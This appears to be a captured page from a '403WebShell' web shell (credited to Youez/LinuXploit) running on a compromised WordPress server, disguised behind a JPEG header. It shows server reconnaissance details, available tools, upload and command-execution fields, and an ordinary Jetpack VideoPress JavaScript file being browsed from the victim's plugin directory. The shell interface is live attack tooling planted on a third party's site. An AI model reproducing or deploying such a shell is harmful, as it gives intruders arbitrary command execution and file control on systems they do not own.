????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/jetpack/modules/videopress/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/jetpack/modules/videopress/js/media-video-widget-extensions.js
window.wp = window.wp || {};

( function ( wp ) {
	if ( wp.mediaWidgets ) {
		// Over-ride core media_video#mapMediaToModelProps to set the url based upon videopress_guid if it exists.
		wp.mediaWidgets.controlConstructors.media_video.prototype.mapMediaToModelProps = ( function (
			originalMapMediaToModelProps
		) {
			return function ( mediaFrameProps ) {
				var newProps, originalProps, videoPressGuid;
				originalProps = originalMapMediaToModelProps.call( this, mediaFrameProps );
				newProps = _.extend( {}, originalProps );

				// API response on new media will have the guid at videopress.guid.
				if ( mediaFrameProps.videopress && mediaFrameProps.videopress.guid ) {
					videoPressGuid = mediaFrameProps.videopress.guid;
				}

				// Selecting an existing VideoPress file will have the guid at .videopress_guid[ 0 ].
				if (
					! videoPressGuid &&
					mediaFrameProps.videopress_guid &&
					mediaFrameProps.videopress_guid.length
				) {
					videoPressGuid = mediaFrameProps.videopress_guid[ 0 ];
				}

				if ( videoPressGuid ) {
					newProps = _.extend( {}, originalProps, {
						url: 'https://videopress.com/v/' + videoPressGuid,
						attachment_id: 0,
					} );
				}
				return newProps;
			};
		} )( wp.mediaWidgets.controlConstructors.media_video.prototype.mapMediaToModelProps );

		// Over-ride core media_video#isHostedVideo() to add support for videopress oembed urls.
		wp.mediaWidgets.controlConstructors.media_video.prototype.isHostedVideo = ( function (
			originalIsHostedVideo
		) {
			return function ( url ) {
				var parsedUrl = document.createElement( 'a' );
				parsedUrl.href = url;
				if ( 'videopress.com' === parsedUrl.hostname ) {
					return true;
				}
				return originalIsHostedVideo.call( this, url );
			};
		} )( wp.mediaWidgets.controlConstructors.media_video.prototype.isHostedVideo );
	}
} )( window.wp );

Youez - 2016 - github.com/yon3zu
LinuXploit